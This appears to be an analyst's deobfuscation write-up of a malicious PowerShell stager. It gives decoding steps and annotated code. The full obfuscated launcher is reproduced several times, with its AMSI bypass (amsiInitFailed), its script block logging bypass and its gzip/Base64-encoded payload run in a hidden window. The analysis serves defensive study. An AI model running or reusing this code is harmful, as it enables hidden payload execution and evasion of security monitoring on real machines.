Original Command:
==========
```
"powershell.exe" -nop -w hidden -noni -c "if([IntPtr]::Size -eq
4){$b='powershell.exe'}else{$b=$env:windir+'\syswow64\WindowsPowerShell\v1.0\powersh
ell.exe'};$s=New-Object
System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-noni -nop -w
hidden -c
$tjtrJ=((''''+''Enabl{3}Sc{''+''2}ipt{1}lo''+''c{4}{0''+''}nv''+''ocation{5}ogg''+''
i''+''ng'')-f''I'',''B'',''r'',''e'',''k'',''L'');
$gwcY=((''{''+''3}nabl{2}Sc{''+''1}i''+''pt{0}lockL''+''ogging''+'''')-f''B'',''r'',
''e'',''E'');
$jZ5C=((''Sc''+''ript{2}{1}oc{0}L''+''og''+''ging''+'''')-f''k'',''l'',''B'');
$xLV9W=[Collections.Generic.Dictionary[string,System.Object]]::new();If($PSVersionTa
ble.PSVersion.Major -ge 3){
$znaT=[Ref].Assembly.GetType((''{0}''+''{''+''6''+''}''+''stem{9}''+''{4''+''}ana''
+''{3''+''}ement{9}{''+''7}''+''{2''+''}''+''t{''+''8}''+''mati{8}n{''+''9}{7}ms''+'
'i''+''{''+''1}t''+''i{5''+''}s'')-f''S'',''U'',''u'',''g'',''M'',''l'',''y'',''A'',
''o'',''.''));
$uYi_U=[Ref].Assembly.GetType((''''+''{3}''+''ystem.{''+''2}a''+''na{0}ement.''+''{
''+''1}utomation.{4}''+''ti{5}s'')-f''g'',''A'',''M'',''S'',''U'',''l'')); if
($znaT) {
$znaT.GetField((''am{''+''3''+''}i{0''+''}{2}i{''+''1}''+''Fa''+''i''+''{4''+''}ed'
')-f''I'',''t'',''n'',''s'',''l''),''NonPublic,Static'').SetValue($null,$true); };
$ff4Nc=$uYi_U.GetField(''cachedGroupPolicySettings'',''NonPublic,Static''); If
($ff4Nc) { $lUh3W=$ff4Nc.GetValue($null); If($lUh3W[$jZ5C]){ $lUh3W[$jZ5C][$gwcY]=0;
$lUh3W[$jZ5C][$tjtrJ]=0; } $xLV9W.Add($gwcY,0); $xLV9W.Add($tjtrJ,0);
$lUh3W[''HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\''+$jZ5C]
=$xLV9W; } Else {
[Ref].Assembly.GetType((''Sy{''+''0}tem.Management''+''.A{''+''4}''+''tomatio''+''n
.S''+''c{1}ipt''+''{2}{5}oc{3''+''}'')-f''s'',''r'',''B'',''k'',''u'',''l'')).GetFie
ld(''signatures'',''NonPublic,Static'').SetValue($null,(New-Object
Collections.Generic.HashSet[string])); }};&([scriptblock]::create((New-Object
System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object
System.IO.MemoryStream(,[System.Convert]::FromBase64String((''H4sIAH8phmICA7VX+''+'
'2/iS''+''BL+faX9H6wVEkYhYAPJhZFGOhtsMMG8/MKwaNXYDTS0bW''+''I3ELK7//tV80gyN8nd3EljCc
Xu{2}''+''qqu/uq{2}Rxa7OGAki{1}VWDY{1}/f/1FuDwDlKJIEHPR4zosCjkajNe48LYNCx''+''vhqyBO
le22mUSIxLMvXxq7NMUxO3+XWpgpWYajOSU4EwvCX4K3wim+7c/XOGDCn0Luj1KLJnNEL2LHBgpWWLhV4pDv
dZMAcc9K1pYSJuZ//z1fmN7Ks5L2t''+''EM0E/PWMWM4KoWU5gvC3wV+oH3cYjFvkiBNsmTBSh6Jq5WSE2d
ogXtgbY9NzFZJmOXhLm+3STHbpfHpUtzKWUbMw+sgT{1}IlDFOcZfmiMOX2p7PZP8Xp5fDRLmYkwiUjZjhNt
hZO9yTAWamN4pDiEV7M{1}MtiK''+''YmXs0IBxPbJBou5eEdpUfhfzIg9fLhC96NK4nslkBqwtFCEmH5/TT
MJdxSfFfMf+Hmi{1}{1}GeVyoAfn9zCBdX/hx{2}Dx/w523h+kxPOxhcFgdJRk66XwWpKJhwOmJJeoTPnJ3u
cGH2C{2}i{1}e+paD8UftSZfVbmiBwtTNyHh7E39m+jnNu3I0bnU52Ru4gWJcfMYo4gEV76KHwUFLyg+IVK6
ivXA{1}TF/2cBhE1O8RIzjzLnxnZoWEfaqq+4IDXGqBBDYDLyCmBe+deYcOjFvxCaOAL3zN5A1t4AswVfpS2
Yc{2}6fzbxDKNyjKsq''+''Iw2''+''EGaBkXBwo''+''hiSHglzshl''+''S9mx5PSaf3PX3FFGApSxq7lZ
4d/xvJzbSOKMpbsAAgsY2NYWBwRRDklRaJM{1}q0eLLK/n5z8EpIEohfwBS3sICKxwI''+''CzG6ZLy''+''
2sSpUShZmBnRluIIZE51{1}6doCVXikiUnfqElDvOfeXpNhzP3OTZXUN75C{1}G3aMKKgktSBmWI4/zk/V9O
fF9+zt40UnyJj3hNsql6ZDwNcoc/As7TC0YnRFIGaOhpEqkow/e1c60Rfyv3yUCBx2+2{2}YnBLBN+TSOmRD
YcUjUSc/EwYFISmUEjG7T0B4UclofgoacEYSfEdcutMUszWGOgtIdEUmu{2}{1}JVseHcMZ{2}{1}M5htK21
4FVBo022XLzyRyaHvc1tlGUKu1x5JS{2}db6VWkD6PlEXm6UsBeRw3MX3qGo9{2}uqkamS{1}bVOYzT3''+'
'Kv{2}Eo+1yTV8tvCSz7v1muVyuh6h1R0NFTcIK3SF3lNjtIFLLZdcMme3IPdu5ISq/p+3V75H3nPnWg9xdK
```

```
8vHFh363vAfhtYbupY6cI7Kc899eBm/aMt5i6YTS+35n{2}m0ZXPpNTbL4Vg9zFvueOJ1umg83PfWCtjRdqb
tLB81Z{2}iab''+''HYbaoY8Rg0tpH6F7R8t1ZuMOy/Iq++6Lx{2}IG0vwg4AflH+PbE3qN1Tb9ya{2}INpw
mxLYVFBz62G0KMtuz0ZLuENlFWhDRblvmvwu+1579D{1}nMnK1iWl5juw2w8R+M''+''Wp''+''zV++F1dVk
SOnBch5qvbW+Np1R14xHVcudDLDuRqEUbnxvFA83YXUU1dlkPdLnY/Mw15gauuEBNzcVX5{2}0{2}aZTHWnU
Mt3tnbPZtvs6bVhxZ41sN5vTVTNw6m''+''vf0425I79MKqNFKD0bOA4Zcphstfxnx6HSpO3e2c7dMJTqkbl
xj67baZgVeTe3fcmu9Iy52xmNWndqb6wd7a{2}aVH{1''+''}1cWvR4nlfdkkwsZGiHO+NEY/j2JEnyb3s7P
o{1}Wxolj+MKUcyDohCsPqm6+tSG/dBBeAW6p7jDd3fo+xjkgZuy3iKGBvJIsw893CzLTl1+wasO5wbaqInC
kW0tFUVTFMDb3+oDWq57YKffuZPDRGnAvt7zkP{2}oEdwty/5YCc2b{2}npoN7n9O3fdHN+sUiBl2b{1}V4I
V/gHiffkp''+''3v2xbySN6RO5+Ui3L9qG1UJ6UmxtVVues{2}VU7e7RU7XLd+fob5PTUITG{2}Vma59O7Z4
c3v119yq9G9+S61P+vtJkqzFaK{1}8tC1{2}8''+''VXT1L90oY''+''HCeEaosjHu{1}1OY0xhAIIR6VqwF
EqTgE8BvF/DAHIeC/iU4hgnpz56Kwivgo''+''W36eC69OXLBHyEGgjVqdTF8ZKtitJzVZKgqUvPUu1U6378
Yo1kexS5''+''{2}SKfCk7AXGzTk20wRxaCKP50qGD2Y9CCPgX{2}M9zg5A30C+hg5yLO0VOThL7H7nKtVya
8gw4wk+HiUz71nRgCBm7xk5BjfCZ6P2PlsPZTKXPpRCv4E/4Xy{2}yt/YfdH6KRVDxj893yt''+''wvvuvjP
A8BDhIGgBR2V4vOc9yEOlyx5F16s{1}{1}osLg//36e/Y7c9mKZPHf1f580shnUNAAA{0}'')-f''='','')Q
'','')))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))';$
s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.
CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);"
```

Decoding Notes:
==========
Instructions:
1. remove ''+'' everytime it is found. this is used to join text together and helps obfuscate the code from humans and automated software that looks for specific strings of text.
2. replace {0}...{9} with the correct character
3. decode Base64
4. unzip Base64 Binary

code:
=====
```
powershell.exe" -nop -w hidden -noni -c "

if([IntPtr]::Size -eq
4){$b='powershell.exe'}else{$b=$env:windir+'\syswow64\WindowsPowerShell\v1.0\powersh
ell.exe'}; // determine which Powershell to use

$s=New-Object System.Diagnostics.ProcessStartInfo; // declare variable "s"

$s.FileName=$b; // either 'powershell.exe' OR
$env:windir+'\syswow64\WindowsPowerShell\v1.0\powershell.exe' based on the first IF
statement

$s.Arguments='-noni -nop -w hidden -c
$tjtrJ=((''''+''Enabl{3}Sc{''+''2}ipt{1}lo''+''c{4}{0''+''}nv''+''ocation{5}ogg''+''
i''+''ng'')-f''I'',''B'',''r'',''e'',''k'',''L''); //
EnableScriptBlockInvocationLogging
''I'',''B'',''r'',''e'',''k'',''L''
  0     1     2     3     4     5
$s.Arguments='-noni -nop -w hidden -c EnableScriptBlockInvocationLogging
```

```
$gwcY=(''{''+''3}nabl{2}Sc{''+''1}i''+''pt{0}lockL''+''ogging''+'''')-f''B'',''r'',
''e'',''E''); // 'EnableScriptBlockLogging
''B'',''r'',''e'',''E''
  0     1     2     3
$gwcY=EnableScriptBlockLogging

$jZ5C=(''Sc''+''ript{2}{1}oc{0}L''+''og''+''ging''+'''')-f''k'',''l'',''B'');
//ScriptBlockLogging
''k'',''l'',''B''
  0     1     2
$jZ5C=ScriptBlockLogging

$xLV9W=[Collections.Generic.Dictionary[string,System.Object]]::new();

If($PSVersionTable.PSVersion.Major -ge 3){
$znaT=[Ref].Assembly.GetType((((''{0}''+''{''+''6''+''}''+''stem{9}''+''{4''+''}ana''
+''{3''+''}ement{9}{''+''7}''+''{2''+''}''+''t{''+''8}''+''mati{8}n{''+''9}{7}ms''+'
'i''+''{''+''1}t''+''i{5''+''}s'')-f''S'',''U'',''u'',''g'',''M'',''l'',''y'',''A'',
''o'',''.''));
// System.Management.Automation.AmsiUtils
''S'',''U'',''u'',''g'',''M'',''l'',''y'',''A'',''o'',''.''
  0     1     2     3     4     5     6     7     8     9
If($PSVersionTable.PSVersion.Major -ge 3){
$znaT=[Ref].Assembly.GetType(System.Management.Automation.AmsiUtils);

$uYi_U=[Ref].Assembly.GetType((''''+''{3}''+''ystem.{''+''2}a''+''na{0}ement.''+''{
''+''1}utomation.{4}''+''ti{5}s'')-f''g'',''A'',''M'',''S'',''U'',''l''));
''g'',''A'',''M'',''S'',''U'',''l''
  0     1     2     3     4     5
System.Management.Automation.Utils
$uYi_U=[Ref].Assembly.GetType(System.Management.Automation.Utils);

if ($znaT) {
$znaT.GetField(((''am{''+''3''+''}i{0''+''}{2}i{''+''1}''+''Fa''+''i''+''{4''+''}ed'
')-f''I'',''t'',''n'',''s'',''l''),''NonPublic,Static'').SetValue($null,$true);
''I'',''t'',''n'',''s'',''l'')
  0     1     2     3     4
amsiInitFailed
if ($znaT) {
$znaT.GetField(amsiInitFailed),''NonPublic,Static'').SetValue($null,$true);

};

$ff4Nc=$uYi_U.GetField(''cachedGroupPolicySettings'',''NonPublic,Static'');

If ($ff4Nc) { $lUh3W=$ff4Nc.GetValue($null);

If($lUh3W[$jZ5C]){ $lUh3W[$jZ5C][$gwcY]=0;
```

```
$lUh3W[$jZ5C][$tjtrJ]=0;

} $xLV9W.Add($gwcY,0);

$xLV9W.Add($tjtrJ,0);

$lUh3W[''HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\''+$jZ5C]
=$xLV9W;

} Else {
[Ref].Assembly.GetType((''Sy{''+''0}tem.Management''+''.A{''+''4}''+''tomatio''+''n
.S''+''c{1}ipt''+''{2}{5}oc{3''+''}'')-f''s'',''r'',''B'',''k'',''u'',''l'')).GetFie
ld(''signatures'',''NonPublic,Static'').SetValue($null,(New-Object
Collections.Generic.HashSet[string]));
''s'',''r'',''B'',''k'',''u'',''l''
  0     1     2     3     4     5

System.Management.Automation.ScriptBlock
} Else {
[Ref].Assembly.GetType(System.Management.Automation.ScriptBlock).GetField(''signatur
es'',''NonPublic,Static'').SetValue($null,(New-Object
Collections.Generic.HashSet[string]));

}};

&([scriptblock]::create((New-Object System.IO.StreamReader(New-Object
System.IO.Compression.GzipStream((New-Object
System.IO.MemoryStream(,[System.Convert]::FromBase64String((''H4sIAH8phmICA7VX+''+'
'2/iS''+''BL+faX9H6wVEkYhYAPJhZFGOhtsMMG8/MKwaNXYDTS0bW''+''I3ELK7//tV80gyN8nd3EljCc
Xu{2}''+''qqu/uq{2}Rxa7OGAki{1}VWDY{1}/f/1FuDwDlKJIEHPR4zosCjkajNe48LYNCx''+''vhqyBO
le22mUSIxLMvXxq7NMUxO3+XWpgpWYajOSU4EwvCX4K3wim+7c/XOGDCn0Luj1KLJnNEL2LHBgpWWLhV4pDv
dZMAcc9K1pYSJuZ//z1fmN7Ks5L2t''+''EM0E/PWMWM4KoWU5gvC3wV+oH3cYjFvkiBNsmTBSh6Jq5WSE2d
ogXtgbY9NzFZJmOXhLm+3STHbpfHpUtzKWUbMw+sgT{1}IlDFOcZfmiMOX2p7PZP8Xp5fDRLmYkwiUjZjhNt
hZO9yTAWamN4pDiEV7M{1}MtiK''+''YmXs0IBxPbJBou5eEdpUfhfzIg9fLhC96NK4nslkBqwtFCEmH5/TT
MJdxSfFfMf+Hmi{1}{1}GeVyoAfn9zCBdX/hx{2}Dx/w523h+kxPOxhcFgdJRk66XwWpKJhwOmJJeoTPnJ3u
cGH2C{2}i{1}e+paD8UftSZfVbmiBwtTNyHh7E39m+jnNu3I0bnU52Ru4gWJcfMYo4gEV76KHwUFLyg+IVK6
ivXA{1}TF/2cBhE1O8RIzjzLnxnZoWEfaqq+4IDXGqBBDYDLyCmBe+deYcOjFvxCaOAL3zN5A1t4AswVfpS2
Yc{2}6fzbxDKNyjKsq''+''Iw2''+''EGaBkXBwo''+''hiSHglzshl''+''S9mx5PSaf3PX3FFGApSxq7lZ
4d/xvJzbSOKMpbsAAgsY2NYWBwRRDklRaJM{1}q0eLLK/n5z8EpIEohfwBS3sICKxwI''+''CzG6ZLy''+''
2sSpUShZmBnRluIIZE51{1}6doCVXikiUnfqElDvOfeXpNhzP3OTZXUN75C{1}G3aMKKgktSBmWI4/zk/V9O
fF9+zt40UnyJj3hNsql6ZDwNcoc/As7TC0YnRFIGaOhpEqkow/e1c60Rfyv3yUCBx2+2{2}YnBLBN+TSOmRD
YcUjUSc/EwYFISmUEjG7T0B4UclofgoacEYSfEdcutMUszWGOgtIdEUmu{2}{1}JVseHcMZ{2}{1}M5htK21
4FVBo022XLzyRyaHvc1tlGUKu1x5JS{2}db6VWkD6PlEXm6UsBeRw3MX3qGo9{2}uqkamS{1}bVOYzT3''+'
'Kv{2}Eo+1yTV8tvCSz7v1muVyuh6h1R0NFTcIK3SF3lNjtIFLLZdcMme3IPdu5ISq/p+3V75H3nPnWg9xdK
8vHFh363vAfhtYbupY6cI7Kc899eBm/aMt5i6YTS+35n{2}m0ZXPpNTbL4Vg9zFvueOJ1umg83PfWCtjRdqb
tLB81Z{2}iab''+''HYbaoY8Rg0tpH6F7R8t1ZuMOy/Iq++6Lx{2}IG0vwg4AflH+PbE3qN1Tb9ya{2}INpw
mxLYVFBz62G0KMtuz0ZLuENlFWhDRblvmvwu+1579D{1}nMnK1iWl5juw2w8R+M''+''Wp''+''zV++F1dVk
SOnBch5qvbW+Np1R14xHVcudDLDuRqEUbnxvFA83YXUU1dlkPdLnY/Mw15gauuEBNzcVX5{2}0{2}aZTHWnU
Mt3tnbPZtvs6bVhxZ41sN5vTVTNw6m''+''vf0425I79MKqNFKD0bOA4Zcphstfxnx6HSpO3e2c7dMJTqkbl
xj67baZgVeTe3fcmu9Iy52xmNWndqb6wd7a{2}aVH{1''+''}1cWvR4nlfdkkwsZGiHO+NEY/j2JEnyb3s7P
```

```
o{1}Wxolj+MKUcyDohCsPqm6+tSG/dBBeAW6p7jDd3fo+xjkgZuy3iKGBvJIsw893CzLTl1+wasO5wbaqInC
kW0tFUVTFMDb3+oDWq57YKffuZPDRGnAvt7zkP{2}oEdwty/5YCc2b{2}npoN7n9O3fdHN+sUiBl2b{1}V4I
V/gHiffkp''+''3v2xbySN6RO5+Ui3L9qG1UJ6UmxtVVues{2}VU7e7RU7XLd+fob5PTUITG{2}Vma59O7Z4
c3v119yq9G9+S61P+vtJkqzFaK{1}8tC1{2}8''+''VXT1L90oY''+''HCeEaosjHu{1}1OY0xhAIIR6VqwF
EqTgE8BvF/DAHIeC/iU4hgnpz56Kwivgo''+''W36eC69OXLBHyEGgjVqdTF8ZKtitJzVZKgqUvPUu1U6378
Yo1kexS5''+''{2}SKfCk7AXGzTk20wRxaCKP50qGD2Y9CCPgX{2}M9zg5A30C+hg5yLO0VOThL7H7nKtVya
8gw4wk+HiUz71nRgCBm7xk5BjfCZ6P2PlsPZTKXPpRCv4E/4Xy{2}yt/YfdH6KRVDxj893yt''+''wvvuvjP
A8BDhIGgBR2V4vOc9yEOlyx5F16s{1}{1}osLg//36e/Y7c9mKZPHf1f580shnUNAAA{0}'')-f''='',''Q
'',''r'')))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))';

''='',''Q'',''r'')
  0     1     2

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
QosLg//36e/Y7c9mKZPHf1f580shnUNAAA=

$s.UseShellExecute=$false;
$s.RedirectStandardOutput=$true;
$s.WindowStyle='Hidden';
$s.CreateNoWindow=$true;
$p=[System.Diagnostics.Process]::Start($s);
```

De Obfuscated Command:
======================
powershell.exe" -nop -w hidden -noni -c "

NoP – NoProfile: Doesn’t load the PowerShell profile
NonI – NonInteractive: Doesn’t create an interactive prompt, i.e. it runs the command without the PowerShell window popping up a persistent terminal on the user’s screen
-w hidden: uses windows sytle hidden which prevents a dialog from appearing for the user

if([IntPtr]::Size -eq 4){$b='powershell.exe'}else{$b=$env:windir+'\syswow64\WindowsPowerShell\v1.0\powershell.exe'}; // determine which Powershell to use

$s=New-Object System.Diagnostics.ProcessStartInfo; // declare variable "s" which starts a program/process

$s.FileName=$b; // either 'powershell.exe' OR $env:windir+'\syswow64\WindowsPowerShell\v1.0\powershell.exe' based on the first IF statement

$s.Arguments='-noni -nop -w hidden -c EnableScriptBlockInvocationLogging'; // disable logging of ScriptBlock which gets used later on https://seamlessintelligence.com.au/powershell_script_block_logging.html

$s.UseShellExecute=$false; // (UseShellExecute) refers to a graphical shell

$s.RedirectStandardOutput=$true; // Gets a stream used to read the textual output of the application

$s.WindowStyle='Hidden'; // uses windows sytle hidden which prevents a dialog from appearing for the user

$s.CreateNoWindow=$true; // Don't create a window that the user can see

$p=[System.Diagnostics.Process]::Start($s); //

If($PSVersionTable.PSVersion.Major -ge 3){
$znaT=[Ref].Assembly.GetType(System.Management.Automation.AmsiUtils); // depending on version of powershell set variable which was used for the next if statement.

if ([Ref].Assembly.GetType(System.Management.Automation.AmsiUtils) {
[Ref].Assembly.GetType(System.Management.Automation.AmsiUtils.GetField(amsiInitFailed),''NonPublic,Static'').SetValue($null,$true); // avoid logging what is going on https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/

};

If

```
([Ref].Assembly.GetType(System.Management.Automation.Utils).GetField(''cachedGroupPo
licySettings'',''NonPublic,Static'')) {
$lUh3W=[Ref].Assembly.GetType(System.Management.Automation.Utils).GetField(''cachedG
roupPolicySettings'',''NonPublic,Static'').GetValue($null); // if statement to set
variable

If([Ref].Assembly.GetType(System.Management.Automation.Utils).GetField(''cachedGroup
PolicySettings'',''NonPublic,Static'').GetValue($null)[ScriptBlockLogging]){
[Ref].Assembly.GetType(System.Management.Automation.Utils).GetField(''cachedGroupPol
icySettings'',''NonPublic,Static'').GetValue($null)[ScriptBlockLogging][EnableScript
BlockLogging]=0; // bypass scriptblocklogging some code looks to come from
https://github.com/cobbr/cobbr.io/blob/master/_posts/2017-05-06-ScriptBlock-Logging-
Bypass.md

[Ref].Assembly.GetType(System.Management.Automation.Utils).GetField(''cachedGroupPol
icySettings'',''NonPublic,Static'').GetValue($null)[ScriptBlockLogging][$tjtrJ]=0;
// logging bypass

}
[Collections.Generic.Dictionary[string,System.Object]]::new().Add(EnableScriptBlockL
ogging,0);  // logging bypass

[Collections.Generic.Dictionary[string,System.Object]]::new().Add($tjtrJ,0);  //
logging bypass

[Ref].Assembly.GetType(System.Management.Automation.Utils).GetField(''cachedGroupPol
icySettings'',''NonPublic,Static'').GetValue($null)[''HKEY_LOCAL_MACHINE\Software\Po
licies\Microsoft\Windows\PowerShell\ScriptBlockLogging]=[Collections.Generic.Diction
ary[string,System.Object]]::new();  // logging bypass

} Else {
[Ref].Assembly.GetType(System.Management.Automation.ScriptBlock).GetField(''signatur
es'',''NonPublic,Static'').SetValue($null,(New-Object
Collections.Generic.HashSet[string]));  // logging bypass

}};

&([scriptblock]::create((New-Object System.IO.StreamReader(New-Object
System.IO.Compression.GzipStream((New-Object
System.IO.MemoryStream(,[System.Convert]::FromBase64String(H4sIAH8phmICA7VX2/iSBL+fa
X9H6wVEkYhYAPJhZFGOhtsMMG8/MKwaNXYDTS0bWI3ELK7//tV80gyN8nd3EljCcXurqqu/uqrRxa7OGAkiQ
VWDYQ/f/1FuDwDlKJIEHPR4zosCjkajNe48LYNCxvhqyBOle22mUSIxLMvXxq7NMUxO3+XWpgpWYajOSU4Ew
vCX4K3wim+7c/XOGDCn0Luj1KLJnNEL2LHBgpWWLhV4pDvdZMAcc9K1pYSJuZ//z1fmN7Ks5L2tEM0E/PWMW
M4KoWU5gvC3wV+oH3cYjFvkiBNsmTBSh6Jq5WSE2dogXtgbY9NzFZJmOXhLm+3STHbpfHpUtzKWUbMw+sgTQ
IlDFOcZfmiMOX2p7PZP8Xp5fDRLmYkwiUjZjhNthZO9yTAWamN4pDiEV7MQMtiKYmXs0IBxPbJBou5eEdpUf
hfzIg9fLhC96NK4nslkBqwtFCEmH5/TTMJdxSfFfMf+HmiQQGeVyoAfn9zCBdX/hxrDx/w523h+kxPOxhcFg
dJRk66XwWpKJhwOmJJeoTPnJ3ucGH2CriQe+paD8UftSZfVbmiBwtTNyHh7E39m+jnNu3I0bnU52Ru4gWJcf
MYo4gEV76KHwUFLyg+IVK6ivXAQTF/2cBhE1O8RIzjzLnxnZoWEfaqq+4IDXGqBBDYDLyCmBe+deYcOjFvxC
aOAL3zN5A1t4AswVfpS2Ycr6fzbxDKNyjKsqIw2EGaBkXBwohiSHglzshlS9mx5PSaf3PX3FFGApSxq7lZ4d
/xvJzbSOKMpbsAAgsY2NYWBwRRDklRaJMQq0eLLK/n5z8EpIEohfwBS3sICKxwICzG6ZLy2sSpUShZmBnRlu
```

```
IIZE51Q6doCVXikiUnfqElDvOfeXpNhzP3OTZXUN75CQG3aMKKgktSBmWI4/zk/V9OfF9+zt40UnyJj3hNsq
l6ZDwNcoc/As7TC0YnRFIGaOhpEqkow/e1c60Rfyv3yUCBx2+2rYnBLBN+TSOmRDYcUjUSc/EwYFISmUEjG7
T0B4UclofgoacEYSfEdcutMUszWGOgtIdEUmurQJVseHcMZrQM5htK214FVBo022XLzyRyaHvc1tlGUKu1x5
JSrdb6VWkD6PlEXm6UsBeRw3MX3qGo9ruqkamSQbVOYzT3KvrEo+1yTV8tvCSz7v1muVyuh6h1R0NFTcIK3S
F3lNjtIFLLZdcMme3IPdu5ISq/p+3V75H3nPnWg9xdK8vHFh363vAfhtYbupY6cI7Kc899eBm/aMt5i6YTS+
35nrm0ZXPpNTbL4Vg9zFvueOJ1umg83PfWCtjRdqbtLB81ZriabHYbaoY8Rg0tpH6F7R8t1ZuMOy/Iq++6Lx
rIG0vwg4AflH+PbE3qN1Tb9yarINpwmxLYVFBz62G0KMtuz0ZLuENlFWhDRblvmvwu+1579DQnMnK1iWl5ju
w2w8R+MWpzV++F1dVkSOnBch5qvbW+Np1R14xHVcudDLDuRqEUbnxvFA83YXUU1dlkPdLnY/Mw15gauuEBNz
cVX5r0raZTHWnUMt3tnbPZtvs6bVhxZ41sN5vTVTNw6mvf0425I79MKqNFKD0bOA4Zcphstfxnx6HSpO3e2c
7dMJTqkblxj67baZgVeTe3fcmu9Iy52xmNWndqb6wd7araVHQ1cWvR4nlfdkkwsZGiHO+NEY/j2JEnyb3s7P
oQWxolj+MKUcyDohCsPqm6+tSG/dBBeAW6p7jDd3fo+xjkgZuy3iKGBvJIsw893CzLTl1+wasO5wbaqInCkW
0tFUVTFMDb3+oDWq57YKffuZPDRGnAvt7zkProEdwty/5YCc2brnpoN7n9O3fdHN+sUiBl2bQV4IV/gHiffk
p3v2xbySN6RO5+Ui3L9qG1UJ6UmxtVVuesrVU7e7RU7XLd+fob5PTUITGrVma59O7Z4c3v119yq9G9+S61P+
vtJkqzFaKQ8tC1r8VXT1L90oYHCeEaosjHuQ1OY0xhAIIR6VqwFEqTgE8BvF/DAHIeC/iU4hgnpz56Kwivgo
W36eC69OXLBHyEGgjVqdTF8ZKtitJzVZKgqUvPUu1U6378Yo1kexS5rSKfCk7AXGzTk20wRxaCKP50qGD2Y9
CCPgXrM9zg5A30C+hg5yLO0VOThL7H7nKtVya8gw4wk+HiUz71nRgCBm7xk5BjfCZ6P2PlsPZTKXPpRCv4E/
4Xyryt/YfdH6KRVDxj893ytwvvuvjPA8BDhIGgBR2V4vOc9yEOlyx5F16sQQosLg//36e/Y7c9mKZPHf1f58
0shnUNAAA=),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))';
```

```
Scriptblock Notes:
==================
